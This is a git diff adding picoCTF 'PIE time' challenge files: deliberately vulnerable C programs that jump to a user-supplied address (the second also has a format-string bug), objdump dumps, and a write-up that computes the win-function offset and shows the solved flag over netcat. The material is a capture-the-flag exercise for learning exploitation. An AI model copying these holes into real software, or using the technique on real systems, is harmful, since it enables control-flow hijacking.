diff --git a/picoctf/binary_exploit/pie_time1/vuln b/picoctf/binary_exploit/pie_time1/vuln new file mode 100755 index 0000000..986868d Binary files /dev/null and b/picoctf/binary_exploit/pie_time1/vuln differ diff --git a/picoctf/binary_exploit/pie_time1/vuln.c b/picoctf/binary_exploit/pie_time1/vuln.c new file mode 100644 index 0000000..eefc0ad --- /dev/null +++ b/picoctf/binary_exploit/pie_time1/vuln.c @@ -0,0 +1,49 @@ +#include +#include +#include +#include + +void segfault_handler() { + printf("Segfault Occurred, incorrect address.\n"); + exit(0); +} + +int win() { + FILE *fptr; + char c; + + printf("You won!\n"); + // Open file + fptr = fopen("flag.txt", "r"); + if (fptr == NULL) + { + printf("Cannot open file.\n"); + exit(0); + } + + // Read contents from file + c = fgetc(fptr); + while (c != EOF) + { + printf ("%c", c); + c = fgetc(fptr); + } + + printf("\n"); + fclose(fptr); +} + +int main() { + signal(SIGSEGV, segfault_handler); + setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered + + printf("Address of main: %p\n", &main); + + unsigned long val; + printf("Enter the address to jump to, ex => 0x12345: "); + scanf("%lx", &val); + printf("Your input: %lx\n", val); + + void (*foo)(void) = (void (*)())val; + foo(); +} \ No newline at end of file diff --git a/picoctf/binary_exploit/pie_time1/vuln_dump.txt b/picoctf/binary_exploit/pie_time1/vuln_dump.txt new file mode 100644 index 0000000..acb4207 --- /dev/null +++ b/picoctf/binary_exploit/pie_time1/vuln_dump.txt @@ -0,0 +1,327 @@ +//Objdumped vuln: +// objdump -d vuln + +vuln: file format elf64-x86-64 + +Disassembly of section .init: + +0000000000001000 <_init>: + 1000: f3 0f 1e fa endbr64 + 1004: 48 83 ec 08 subq $8, %rsp + 1008: 48 8b 05 d9 2f 00 00 movq 12249(%rip), %rax # 0x3fe8 <_GLOBAL_OFFSET_TABLE_+0x80> + 100f: 48 85 c0 testq %rax, %rax + 1012: 74 02 je 0x1016 <_init+0x16> + 1014: ff d0 callq *%rax + 1016: 48 83 c4 08 addq $8, %rsp + 101a: c3 retq + +Disassembly of section .plt: + +0000000000001020 <.plt>: + 1020: ff 35 4a 2f 00 00 pushq 12106(%rip) # 0x3f70 <_GLOBAL_OFFSET_TABLE_+0x8> + 1026: f2 ff 25 4b 2f 00 00 repne jmpq *12107(%rip) # 0x3f78 <_GLOBAL_OFFSET_TABLE_+0x10> + 102d: 0f 1f 00 nopl (%rax) + 1030: f3 0f 1e fa endbr64 + 1034: 68 00 00 00 00 pushq $0 + 1039: f2 e9 e1 ff ff ff repne jmp 0x1020 <.plt> + 103f: 90 nop + 1040: f3 0f 1e fa endbr64 + 1044: 68 01 00 00 00 pushq $1 + 1049: f2 e9 d1 ff ff ff repne jmp 0x1020 <.plt> + 104f: 90 nop + 1050: f3 0f 1e fa endbr64 + 1054: 68 02 00 00 00 pushq $2 + 1059: f2 e9 c1 ff ff ff repne jmp 0x1020 <.plt> + 105f: 90 nop + 1060: f3 0f 1e fa endbr64 + 1064: 68 03 00 00 00 pushq $3 + 1069: f2 e9 b1 ff ff ff repne jmp 0x1020 <.plt> + 106f: 90 nop + 1070: f3 0f 1e fa endbr64 + 1074: 68 04 00 00 00 pushq $4 + 1079: f2 e9 a1 ff ff ff repne jmp 0x1020 <.plt> + 107f: 90 nop + 1080: f3 0f 1e fa endbr64 + 1084: 68 05 00 00 00 pushq $5 + 1089: f2 e9 91 ff ff ff repne jmp 0x1020 <.plt> + 108f: 90 nop + 1090: f3 0f 1e fa endbr64 + 1094: 68 06 00 00 00 pushq $6 + 1099: f2 e9 81 ff ff ff repne jmp 0x1020 <.plt> + 109f: 90 nop + 10a0: f3 0f 1e fa endbr64 + 10a4: 68 07 00 00 00 pushq $7 + 10a9: f2 e9 71 ff ff ff repne jmp 0x1020 <.plt> + 10af: 90 nop + 10b0: f3 0f 1e fa endbr64 + 10b4: 68 08 00 00 00 pushq $8 + 10b9: f2 e9 61 ff ff ff repne jmp 0x1020 <.plt> + 10bf: 90 nop + 10c0: f3 0f 1e fa endbr64 + 10c4: 68 09 00 00 00 pushq $9 + 10c9: f2 e9 51 ff ff ff repne jmp 0x1020 <.plt> + 10cf: 90 nop + 10d0: f3 0f 1e fa endbr64 + 10d4: 68 0a 00 00 00 pushq $10 + 10d9: f2 e9 41 ff ff ff repne jmp 0x1020 <.plt> + 10df: 90 nop + +Disassembly of section .plt.got: + +00000000000010e0 <.plt.got>: + 10e0: f3 0f 1e fa endbr64 + 10e4: f2 ff 25 0d 2f 00 00 repne jmpq *12045(%rip) # 0x3ff8 <_GLOBAL_OFFSET_TABLE_+0x90> + 10eb: 0f 1f 44 00 00 nopl (%rax,%rax) + +Disassembly of section .plt.sec: + +00000000000010f0 <.plt.sec>: + 10f0: f3 0f 1e fa endbr64 + 10f4: f2 ff 25 85 2e 00 00 repne jmpq *11909(%rip) # 0x3f80 <_GLOBAL_OFFSET_TABLE_+0x18> + 10fb: 0f 1f 44 00 00 nopl (%rax,%rax) + 1100: f3 0f 1e fa endbr64 + 1104: f2 ff 25 7d 2e 00 00 repne jmpq *11901(%rip) # 0x3f88 <_GLOBAL_OFFSET_TABLE_+0x20> + 110b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1110: f3 0f 1e fa endbr64 + 1114: f2 ff 25 75 2e 00 00 repne jmpq *11893(%rip) # 0x3f90 <_GLOBAL_OFFSET_TABLE_+0x28> + 111b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1120: f3 0f 1e fa endbr64 + 1124: f2 ff 25 6d 2e 00 00 repne jmpq *11885(%rip) # 0x3f98 <_GLOBAL_OFFSET_TABLE_+0x30> + 112b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1130: f3 0f 1e fa endbr64 + 1134: f2 ff 25 65 2e 00 00 repne jmpq *11877(%rip) # 0x3fa0 <_GLOBAL_OFFSET_TABLE_+0x38> + 113b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1140: f3 0f 1e fa endbr64 + 1144: f2 ff 25 5d 2e 00 00 repne jmpq *11869(%rip) # 0x3fa8 <_GLOBAL_OFFSET_TABLE_+0x40> + 114b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1150: f3 0f 1e fa endbr64 + 1154: f2 ff 25 55 2e 00 00 repne jmpq *11861(%rip) # 0x3fb0 <_GLOBAL_OFFSET_TABLE_+0x48> + 115b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1160: f3 0f 1e fa endbr64 + 1164: f2 ff 25 4d 2e 00 00 repne jmpq *11853(%rip) # 0x3fb8 <_GLOBAL_OFFSET_TABLE_+0x50> + 116b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1170: f3 0f 1e fa endbr64 + 1174: f2 ff 25 45 2e 00 00 repne jmpq *11845(%rip) # 0x3fc0 <_GLOBAL_OFFSET_TABLE_+0x58> + 117b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1180: f3 0f 1e fa endbr64 + 1184: f2 ff 25 3d 2e 00 00 repne jmpq *11837(%rip) # 0x3fc8 <_GLOBAL_OFFSET_TABLE_+0x60> + 118b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1190: f3 0f 1e fa endbr64 + 1194: f2 ff 25 35 2e 00 00 repne jmpq *11829(%rip) # 0x3fd0 <_GLOBAL_OFFSET_TABLE_+0x68> + 119b: 0f 1f 44 00 00 nopl (%rax,%rax) + +Disassembly of section .text: + +00000000000011a0 <_start>: + 11a0: f3 0f 1e fa endbr64 + 11a4: 31 ed xorl %ebp, %ebp + 11a6: 49 89 d1 movq %rdx, %r9 + 11a9: 5e popq %rsi + 11aa: 48 89 e2 movq %rsp, %rdx + 11ad: 48 83 e4 f0 andq $-16, %rsp + 11b1: 50 pushq %rax + 11b2: 54 pushq %rsp + 11b3: 4c 8d 05 c6 02 00 00 leaq 710(%rip), %r8 # 0x1480 <__libc_csu_fini> + 11ba: 48 8d 0d 4f 02 00 00 leaq 591(%rip), %rcx # 0x1410 <__libc_csu_init> + 11c1: 48 8d 3d 75 01 00 00 leaq 373(%rip), %rdi # 0x133d
+ 11c8: ff 15 12 2e 00 00 callq *11794(%rip) # 0x3fe0 <_GLOBAL_OFFSET_TABLE_+0x78> + 11ce: f4 hlt + 11cf: 90 nop + +00000000000011d0 : + 11d0: 48 8d 3d 39 2e 00 00 leaq 11833(%rip), %rdi # 0x4010 + 11d7: 48 8d 05 32 2e 00 00 leaq 11826(%rip), %rax # 0x4010 + 11de: 48 39 f8 cmpq %rdi, %rax + 11e1: 74 15 je 0x11f8 + 11e3: 48 8b 05 ee 2d 00 00 movq 11758(%rip), %rax # 0x3fd8 <_GLOBAL_OFFSET_TABLE_+0x70> + 11ea: 48 85 c0 testq %rax, %rax + 11ed: 74 09 je 0x11f8 + 11ef: ff e0 jmpq *%rax + 11f1: 0f 1f 80 00 00 00 00 nopl (%rax) + 11f8: c3 retq + 11f9: 0f 1f 80 00 00 00 00 nopl (%rax) + +0000000000001200 : + 1200: 48 8d 3d 09 2e 00 00 leaq 11785(%rip), %rdi # 0x4010 + 1207: 48 8d 35 02 2e 00 00 leaq 11778(%rip), %rsi # 0x4010 + 120e: 48 29 fe subq %rdi, %rsi + 1211: 48 89 f0 movq %rsi, %rax + 1214: 48 c1 ee 3f shrq $63, %rsi + 1218: 48 c1 f8 03 sarq $3, %rax + 121c: 48 01 c6 addq %rax, %rsi + 121f: 48 d1 fe sarq %rsi + 1222: 74 14 je 0x1238 + 1224: 48 8b 05 c5 2d 00 00 movq 11717(%rip), %rax # 0x3ff0 <_GLOBAL_OFFSET_TABLE_+0x88> + 122b: 48 85 c0 testq %rax, %rax + 122e: 74 08 je 0x1238 + 1230: ff e0 jmpq *%rax + 1232: 66 0f 1f 44 00 00 nopw (%rax,%rax) + 1238: c3 retq + 1239: 0f 1f 80 00 00 00 00 nopl (%rax) + +0000000000001240 <__do_global_dtors_aux>: + 1240: f3 0f 1e fa endbr64 + 1244: 80 3d cd 2d 00 00 00 cmpb $0, 11725(%rip) # 0x4018 + 124b: 75 2b jne 0x1278 <__do_global_dtors_aux+0x38> + 124d: 55 pushq %rbp + 124e: 48 83 3d a2 2d 00 00 00 cmpq $0, 11682(%rip) # 0x3ff8 <_GLOBAL_OFFSET_TABLE_+0x90> + 1256: 48 89 e5 movq %rsp, %rbp + 1259: 74 0c je 0x1267 <__do_global_dtors_aux+0x27> + 125b: 48 8b 3d a6 2d 00 00 movq 11686(%rip), %rdi # 0x4008 <__dso_handle> + 1262: e8 79 fe ff ff callq 0x10e0 <.plt.got> + 1267: e8 64 ff ff ff callq 0x11d0 + 126c: c6 05 a5 2d 00 00 01 movb $1, 11685(%rip) # 0x4018 + 1273: 5d popq %rbp + 1274: c3 retq + 1275: 0f 1f 00 nopl (%rax) + 1278: c3 retq + 1279: 0f 1f 80 00 00 00 00 nopl (%rax) + +0000000000001280 : + 1280: f3 0f 1e fa endbr64 + 1284: e9 77 ff ff ff jmp 0x1200 + +0000000000001289 : + 1289: f3 0f 1e fa endbr64 + 128d: 55 pushq %rbp + 128e: 48 89 e5 movq %rsp, %rbp + 1291: 48 8d 3d 70 0d 00 00 leaq 3440(%rip), %rdi # 0x2008 <_IO_stdin_used+0x8> + 1298: e8 63 fe ff ff callq 0x1100 <.plt.sec+0x10> + 129d: bf 00 00 00 00 movl $0, %edi + 12a2: e8 e9 fe ff ff callq 0x1190 <.plt.sec+0xa0> + +00000000000012a7 : + 12a7: f3 0f 1e fa endbr64 + 12ab: 55 pushq %rbp + 12ac: 48 89 e5 movq %rsp, %rbp + 12af: 48 83 ec 10 subq $16, %rsp + 12b3: 48 8d 3d 74 0d 00 00 leaq 3444(%rip), %rdi # 0x202e <_IO_stdin_used+0x2e> + 12ba: e8 41 fe ff ff callq 0x1100 <.plt.sec+0x10> + 12bf: 48 8d 35 71 0d 00 00 leaq 3441(%rip), %rsi # 0x2037 <_IO_stdin_used+0x37> + 12c6: 48 8d 3d 6c 0d 00 00 leaq 3436(%rip), %rdi # 0x2039 <_IO_stdin_used+0x39> + 12cd: e8 9e fe ff ff callq 0x1170 <.plt.sec+0x80> + 12d2: 48 89 45 f8 movq %rax, -8(%rbp) + 12d6: 48 83 7d f8 00 cmpq $0, -8(%rbp) + 12db: 75 16 jne 0x12f3 + 12dd: 48 8d 3d 5e 0d 00 00 leaq 3422(%rip), %rdi # 0x2042 <_IO_stdin_used+0x42> + 12e4: e8 17 fe ff ff callq 0x1100 <.plt.sec+0x10> + 12e9: bf 00 00 00 00 movl $0, %edi + 12ee: e8 9d fe ff ff callq 0x1190 <.plt.sec+0xa0> + 12f3: 48 8b 45 f8 movq -8(%rbp), %rax + 12f7: 48 89 c7 movq %rax, %rdi + 12fa: e8 41 fe ff ff callq 0x1140 <.plt.sec+0x50> + 12ff: 88 45 f7 movb %al, -9(%rbp) + 1302: eb 1a jmp 0x131e + 1304: 0f be 45 f7 movsbl -9(%rbp), %eax + 1308: 89 c7 movl %eax, %edi + 130a: e8 e1 fd ff ff callq 0x10f0 <.plt.sec> + 130f: 48 8b 45 f8 movq -8(%rbp), %rax + 1313: 48 89 c7 movq %rax, %rdi + 1316: e8 25 fe ff ff callq 0x1140 <.plt.sec+0x50> + 131b: 88 45 f7 movb %al, -9(%rbp) + 131e: 80 7d f7 ff cmpb $-1, -9(%rbp) + 1322: 75 e0 jne 0x1304 + 1324: bf 0a 00 00 00 movl $10, %edi + 1329: e8 c2 fd ff ff callq 0x10f0 <.plt.sec> + 132e: 48 8b 45 f8 movq -8(%rbp), %rax + 1332: 48 89 c7 movq %rax, %rdi + 1335: e8 d6 fd ff ff callq 0x1110 <.plt.sec+0x20> + 133a: 90 nop + 133b: c9 leave + 133c: c3 retq + +000000000000133d
: + 133d: f3 0f 1e fa endbr64 + 1341: 55 pushq %rbp + 1342: 48 89 e5 movq %rsp, %rbp + 1345: 48 83 ec 20 subq $32, %rsp + 1349: 64 48 8b 04 25 28 00 00 00 movq %fs:40, %rax + 1352: 48 89 45 f8 movq %rax, -8(%rbp) + 1356: 31 c0 xorl %eax, %eax + 1358: 48 8d 35 2a ff ff ff leaq -214(%rip), %rsi # 0x1289 + 135f: bf 0b 00 00 00 movl $11, %edi + 1364: e8 e7 fd ff ff callq 0x1150 <.plt.sec+0x60> + 1369: 48 8b 05 a0 2c 00 00 movq 11424(%rip), %rax # 0x4010 + 1370: b9 00 00 00 00 movl $0, %ecx + 1375: ba 02 00 00 00 movl $2, %edx + 137a: be 00 00 00 00 movl $0, %esi + 137f: 48 89 c7 movq %rax, %rdi + 1382: e8 d9 fd ff ff callq 0x1160 <.plt.sec+0x70> + 1387: 48 8d 35 af ff ff ff leaq -81(%rip), %rsi # 0x133d
+ 138e: 48 8d 3d bf 0c 00 00 leaq 3263(%rip), %rdi # 0x2054 <_IO_stdin_used+0x54> + 1395: b8 00 00 00 00 movl $0, %eax + 139a: e8 91 fd ff ff callq 0x1130 <.plt.sec+0x40> + 139f: 48 8d 3d ca 0c 00 00 leaq 3274(%rip), %rdi # 0x2070 <_IO_stdin_used+0x70> + 13a6: b8 00 00 00 00 movl $0, %eax + 13ab: e8 80 fd ff ff callq 0x1130 <.plt.sec+0x40> + 13b0: 48 8d 45 e8 leaq -24(%rbp), %rax + 13b4: 48 89 c6 movq %rax, %rsi + 13b7: 48 8d 3d e0 0c 00 00 leaq 3296(%rip), %rdi # 0x209e <_IO_stdin_used+0x9e> + 13be: b8 00 00 00 00 movl $0, %eax + 13c3: e8 b8 fd ff ff callq 0x1180 <.plt.sec+0x90> + 13c8: 48 8b 45 e8 movq -24(%rbp), %rax + 13cc: 48 89 c6 movq %rax, %rsi + 13cf: 48 8d 3d cc 0c 00 00 leaq 3276(%rip), %rdi # 0x20a2 <_IO_stdin_used+0xa2> + 13d6: b8 00 00 00 00 movl $0, %eax + 13db: e8 50 fd ff ff callq 0x1130 <.plt.sec+0x40> + 13e0: 48 8b 45 e8 movq -24(%rbp), %rax + 13e4: 48 89 45 f0 movq %rax, -16(%rbp) + 13e8: 48 8b 45 f0 movq -16(%rbp), %rax + 13ec: ff d0 callq *%rax + 13ee: b8 00 00 00 00 movl $0, %eax + 13f3: 48 8b 55 f8 movq -8(%rbp), %rdx + 13f7: 64 48 33 14 25 28 00 00 00 xorq %fs:40, %rdx + 1400: 74 05 je 0x1407 + 1402: e8 19 fd ff ff callq 0x1120 <.plt.sec+0x30> + 1407: c9 leave + 1408: c3 retq + 1409: 0f 1f 80 00 00 00 00 nopl (%rax) + +0000000000001410 <__libc_csu_init>: + 1410: f3 0f 1e fa endbr64 + 1414: 41 57 pushq %r15 + 1416: 4c 8d 3d 4b 29 00 00 leaq 10571(%rip), %r15 # 0x3d68 <__init_array_start> + 141d: 41 56 pushq %r14 + 141f: 49 89 d6 movq %rdx, %r14 + 1422: 41 55 pushq %r13 + 1424: 49 89 f5 movq %rsi, %r13 + 1427: 41 54 pushq %r12 + 1429: 41 89 fc movl %edi, %r12d + 142c: 55 pushq %rbp + 142d: 48 8d 2d 3c 29 00 00 leaq 10556(%rip), %rbp # 0x3d70 <__do_global_dtors_aux_fini_array_entry> + 1434: 53 pushq %rbx + 1435: 4c 29 fd subq %r15, %rbp + 1438: 48 83 ec 08 subq $8, %rsp + 143c: e8 bf fb ff ff callq 0x1000 <_init> + 1441: 48 c1 fd 03 sarq $3, %rbp + 1445: 74 1f je 0x1466 <__libc_csu_init+0x56> + 1447: 31 db xorl %ebx, %ebx + 1449: 0f 1f 80 00 00 00 00 nopl (%rax) + 1450: 4c 89 f2 movq %r14, %rdx + 1453: 4c 89 ee movq %r13, %rsi + 1456: 44 89 e7 movl %r12d, %edi + 1459: 41 ff 14 df callq *(%r15,%rbx,8) + 145d: 48 83 c3 01 addq $1, %rbx + 1461: 48 39 dd cmpq %rbx, %rbp + 1464: 75 ea jne 0x1450 <__libc_csu_init+0x40> + 1466: 48 83 c4 08 addq $8, %rsp + 146a: 5b popq %rbx + 146b: 5d popq %rbp + 146c: 41 5c popq %r12 + 146e: 41 5d popq %r13 + 1470: 41 5e popq %r14 + 1472: 41 5f popq %r15 + 1474: c3 retq + 1475: 66 66 2e 0f 1f 84 00 00 00 00 00 nopw %cs:(%rax,%rax) + +0000000000001480 <__libc_csu_fini>: + 1480: f3 0f 1e fa endbr64 + 1484: c3 retq + +Disassembly of section .fini: + +0000000000001488 <_fini>: + 1488: f3 0f 1e fa endbr64 + 148c: 48 83 ec 08 subq $8, %rsp + 1490: 48 83 c4 08 addq $8, %rsp + 1494: c3 retq diff --git a/picoctf/binary_exploit/pie_time1/writeup.md b/picoctf/binary_exploit/pie_time1/writeup.md new file mode 100644 index 0000000..974ed9a --- /dev/null +++ b/picoctf/binary_exploit/pie_time1/writeup.md @@ -0,0 +1,156 @@ +# PicoCTF: PIE time 1 + +## Context + +We are provided with a compiled binary and the source code (`vuln` and `vuln.c`), as well as a complimentary server and port to connect to via netcat. We only connect via netcat when we are ready to get the flag. + +When we do `./vuln` we are prompted to enter an address. If the address is not correct, we segfault: +```text +mms2379@spoc:~/ctf/pie_time$ ./vuln +Address of main: 0x58e94163433d +Enter the address to jump to, ex => 0x12345: 0x0 +Your input: 0 +Segfault Occurred, incorrect address. +``` + +## Background Information: PIE executables + +Executables can come in different forms, notably PIE (position independent executable) and no-PIE. If we compile a PIE executable, it means that that whole chunk of code for the program can be placed anywhere in memory. This enables ASLR (address space layout randomization) which randomizes the memory address of key components of our program, like where its stack, heap, etc. begin. A no-PIE executable's code will be placed at a fixed address. That means that we cannot use ASLR. + +Below, I've provided examples of objdumped PIE and no-PIE executables. Note how the no-PIE executable starts at address 0x401000, while the PIE executable starts at 0x1000 so it's able to placed at a random memory address later. + +``` text +mms2379@spoc:~/temp/studying/linking2$ objdump -d main-no-pie + +main-no-pie: file format elf64-x86-64 + + +Disassembly of section .init: + +0000000000401000 <_init>: + 401000: f3 0f 1e fa endbr64 + 401004: 48 83 ec 08 sub $0x8,%rsp + 401008: 48 8b 05 e9 2f 00 00 mov 0x2fe9(%rip),%rax # 403ff8 <__gmon_start__@Base> + 40100f: 48 85 c0 test %rax,%rax + 401012: 74 02 je 401016 <_init+0x16> + 401014: ff d0 call *%rax + 401016: 48 83 c4 08 add $0x8,%rsp + 40101a: c3 ret +... + +``` + +```text +mms2379@spoc:~/temp/studying/linking2$ objdump -d main-dyn + +main-dyn: file format elf64-x86-64 + + +Disassembly of section .init: + +0000000000001000 <_init>: + 1000: f3 0f 1e fa endbr64 + 1004: 48 83 ec 08 sub $0x8,%rsp + 1008: 48 8b 05 d9 2f 00 00 mov 0x2fd9(%rip),%rax # 3fe8 <__gmon_start__@Base> + 100f: 48 85 c0 test %rax,%rax + 1012: 74 02 je 1016 <_init+0x16> + 1014: ff d0 call *%rax + 1016: 48 83 c4 08 add $0x8,%rsp + 101a: c3 ret + ... + +``` + +## Vulnerability + +Recall that we are prompted to enter an address: + +```text +mms2379@spoc:~/ctf/pie_time$ ./vuln +Address of main: 0x58e94163433d +Enter the address to jump to, ex => 0x12345: 0x0 +Your input: 0 +Segfault Occurred, incorrect address. +``` + +Note that we are given the address of the `main` function. We may take a closer look at the source code. We see that we have a `main()` function and a `win` function that is not called anywhere in the program. We also see that `win` will give us our flag. (Full source code can be found in `pie_time1/vuln.c`) + +```C +int win() { + FILE *fptr; + char c; + + printf("You won!\n"); + // Open file + fptr = fopen("flag.txt", "r"); + if (fptr == NULL) + { + printf("Cannot open file.\n"); + exit(0); + } + + // Read contents from file + c = fgetc(fptr); + while (c != EOF) + { + printf ("%c", c); + c = fgetc(fptr); + } + + printf("\n"); + fclose(fptr); +} + +int main() { + signal(SIGSEGV, segfault_handler); + setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered + ... +``` + +Therefore, we conclude that we must somehow call the `win` function in order to get our flag. If this were a no-PIE exectuable, then we could just enter the address of the `win` function. Unfortunatley, `vuln` is a PIE executable: + +``` +mms2379@spoc:~/ctf/pie_time$ file vuln +vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped +``` + +This means that we will have to calculate the address of `win` based on some other address. Recall that we are given the address of `main`. Therefore, we conclude that we must use the address at `main` to call `win`. + +## Exploitation + +Taking a look at the disassembly of `vuln`, we can manually calculate the distance in memory between `win` and `main`. (See `pie_time1/vuln_dump.txt` for the full disassembly) + +```text +00000000000012a7 : + 12a7: f3 0f 1e fa endbr64 + 12ab: 55 push %rbp + 12ac: 48 89 e5 mov %rsp,%rbp + ... + +000000000000133d
: + 133d: f3 0f 1e fa endbr64 + 1341: 55 push %rbp + 1342: 48 89 e5 mov %rsp,%rbp + ... +``` + +The difference in hex between 0x12a7 and 0x133d is 0x96. So now, every time we execute `vuln` and get our address for `main`, we may simply calculate `main` - 0x96 = address to jump to: + +```text +mms2379@spoc:~/ctf/pie_time$ nc rescued-float.picoctf.net 54738 +Address of main: 0x5bee3664233d +Enter the address to jump to, ex => 0x12345: 0x5bee366422a7 +Your input: 5bee366422a7 +You won! +picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_a267144a} +``` + +## Remediation + +The remediation for this is pretty simple: don't give out addresses in PIE executables! The whole point of PIE is to enable ASLR and make it **harder** to infiltrate, but by providing a reference address and source code, it can be easy to calculate the addresses of other functions and get to whatever function you'd like. + +# Sources/Credits + +Written by Madalina Stoicov + +- https://cs4157.github.io/www/2025-1/lect/17-linking-2.html diff --git a/picoctf/binary_exploit/pie_time2/pie_time2_images/clangd_out.png b/picoctf/binary_exploit/pie_time2/pie_time2_images/clangd_out.png new file mode 100644 index 0000000..7dd4713 Binary files /dev/null and b/picoctf/binary_exploit/pie_time2/pie_time2_images/clangd_out.png differ diff --git a/picoctf/binary_exploit/pie_time2/vuln b/picoctf/binary_exploit/pie_time2/vuln new file mode 100755 index 0000000..058a207 Binary files /dev/null and b/picoctf/binary_exploit/pie_time2/vuln differ diff --git a/picoctf/binary_exploit/pie_time2/vuln.c b/picoctf/binary_exploit/pie_time2/vuln.c new file mode 100644 index 0000000..51b81dd --- /dev/null +++ b/picoctf/binary_exploit/pie_time2/vuln.c @@ -0,0 +1,56 @@ +#include +#include +#include +#include + +void segfault_handler() { + printf("Segfault Occurred, incorrect address.\n"); + exit(0); +} + +void call_functions() { + char buffer[64]; + printf("Enter your name:"); + fgets(buffer, 64, stdin); + printf(buffer); + + unsigned long val; + printf(" enter the address to jump to, ex => 0x12345: "); + scanf("%lx", &val); + + void (*foo)(void) = (void (*)())val; + foo(); +} + +int win() { + FILE *fptr; + char c; + + printf("You won!\n"); + // Open file + fptr = fopen("flag.txt", "r"); + if (fptr == NULL) + { + printf("Cannot open file.\n"); + exit(0); + } + + // Read contents from file + c = fgetc(fptr); + while (c != EOF) + { + printf ("%c", c); + c = fgetc(fptr); + } + + printf("\n"); + fclose(fptr); +} + +int main() { + signal(SIGSEGV, segfault_handler); + setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered + + call_functions(); + return 0; +} \ No newline at end of file diff --git a/picoctf/binary_exploit/pie_time2/vuln_dump.txt b/picoctf/binary_exploit/pie_time2/vuln_dump.txt new file mode 100644 index 0000000..d389255 --- /dev/null +++ b/picoctf/binary_exploit/pie_time2/vuln_dump.txt @@ -0,0 +1,348 @@ +//Objdumped vuln: +// objdump -d vuln + + +vuln: file format elf64-x86-64 + +Disassembly of section .init: + +0000000000001000 <_init>: + 1000: f3 0f 1e fa endbr64 + 1004: 48 83 ec 08 subq $8, %rsp + 1008: 48 8b 05 d9 2f 00 00 movq 12249(%rip), %rax # 0x3fe8 <_GLOBAL_OFFSET_TABLE_+0x88> + 100f: 48 85 c0 testq %rax, %rax + 1012: 74 02 je 0x1016 <_init+0x16> + 1014: ff d0 callq *%rax + 1016: 48 83 c4 08 addq $8, %rsp + 101a: c3 retq + +Disassembly of section .plt: + +0000000000001020 <.plt>: + 1020: ff 35 42 2f 00 00 pushq 12098(%rip) # 0x3f68 <_GLOBAL_OFFSET_TABLE_+0x8> + 1026: f2 ff 25 43 2f 00 00 repne jmpq *12099(%rip) # 0x3f70 <_GLOBAL_OFFSET_TABLE_+0x10> + 102d: 0f 1f 00 nopl (%rax) + 1030: f3 0f 1e fa endbr64 + 1034: 68 00 00 00 00 pushq $0 + 1039: f2 e9 e1 ff ff ff repne jmp 0x1020 <.plt> + 103f: 90 nop + 1040: f3 0f 1e fa endbr64 + 1044: 68 01 00 00 00 pushq $1 + 1049: f2 e9 d1 ff ff ff repne jmp 0x1020 <.plt> + 104f: 90 nop + 1050: f3 0f 1e fa endbr64 + 1054: 68 02 00 00 00 pushq $2 + 1059: f2 e9 c1 ff ff ff repne jmp 0x1020 <.plt> + 105f: 90 nop + 1060: f3 0f 1e fa endbr64 + 1064: 68 03 00 00 00 pushq $3 + 1069: f2 e9 b1 ff ff ff repne jmp 0x1020 <.plt> + 106f: 90 nop + 1070: f3 0f 1e fa endbr64 + 1074: 68 04 00 00 00 pushq $4 + 1079: f2 e9 a1 ff ff ff repne jmp 0x1020 <.plt> + 107f: 90 nop + 1080: f3 0f 1e fa endbr64 + 1084: 68 05 00 00 00 pushq $5 + 1089: f2 e9 91 ff ff ff repne jmp 0x1020 <.plt> + 108f: 90 nop + 1090: f3 0f 1e fa endbr64 + 1094: 68 06 00 00 00 pushq $6 + 1099: f2 e9 81 ff ff ff repne jmp 0x1020 <.plt> + 109f: 90 nop + 10a0: f3 0f 1e fa endbr64 + 10a4: 68 07 00 00 00 pushq $7 + 10a9: f2 e9 71 ff ff ff repne jmp 0x1020 <.plt> + 10af: 90 nop + 10b0: f3 0f 1e fa endbr64 + 10b4: 68 08 00 00 00 pushq $8 + 10b9: f2 e9 61 ff ff ff repne jmp 0x1020 <.plt> + 10bf: 90 nop + 10c0: f3 0f 1e fa endbr64 + 10c4: 68 09 00 00 00 pushq $9 + 10c9: f2 e9 51 ff ff ff repne jmp 0x1020 <.plt> + 10cf: 90 nop + 10d0: f3 0f 1e fa endbr64 + 10d4: 68 0a 00 00 00 pushq $10 + 10d9: f2 e9 41 ff ff ff repne jmp 0x1020 <.plt> + 10df: 90 nop + 10e0: f3 0f 1e fa endbr64 + 10e4: 68 0b 00 00 00 pushq $11 + 10e9: f2 e9 31 ff ff ff repne jmp 0x1020 <.plt> + 10ef: 90 nop + +Disassembly of section .plt.got: + +00000000000010f0 <.plt.got>: + 10f0: f3 0f 1e fa endbr64 + 10f4: f2 ff 25 fd 2e 00 00 repne jmpq *12029(%rip) # 0x3ff8 <_GLOBAL_OFFSET_TABLE_+0x98> + 10fb: 0f 1f 44 00 00 nopl (%rax,%rax) + +Disassembly of section .plt.sec: + +0000000000001100 <.plt.sec>: + 1100: f3 0f 1e fa endbr64 + 1104: f2 ff 25 6d 2e 00 00 repne jmpq *11885(%rip) # 0x3f78 <_GLOBAL_OFFSET_TABLE_+0x18> + 110b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1110: f3 0f 1e fa endbr64 + 1114: f2 ff 25 65 2e 00 00 repne jmpq *11877(%rip) # 0x3f80 <_GLOBAL_OFFSET_TABLE_+0x20> + 111b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1120: f3 0f 1e fa endbr64 + 1124: f2 ff 25 5d 2e 00 00 repne jmpq *11869(%rip) # 0x3f88 <_GLOBAL_OFFSET_TABLE_+0x28> + 112b: 0f 1f 44 00 00 nopl (%rax,%rax) + 1130: f3 0f 1e fa endbr64 + 1134: f2 ff 25 55 2e 00 00 repne jmpq *11861(%rip) # 0x3f90 <_GLOBAL_OFFSET_TABLE_+0x30> + 113b: 0f 1f 44 00 00 nopl 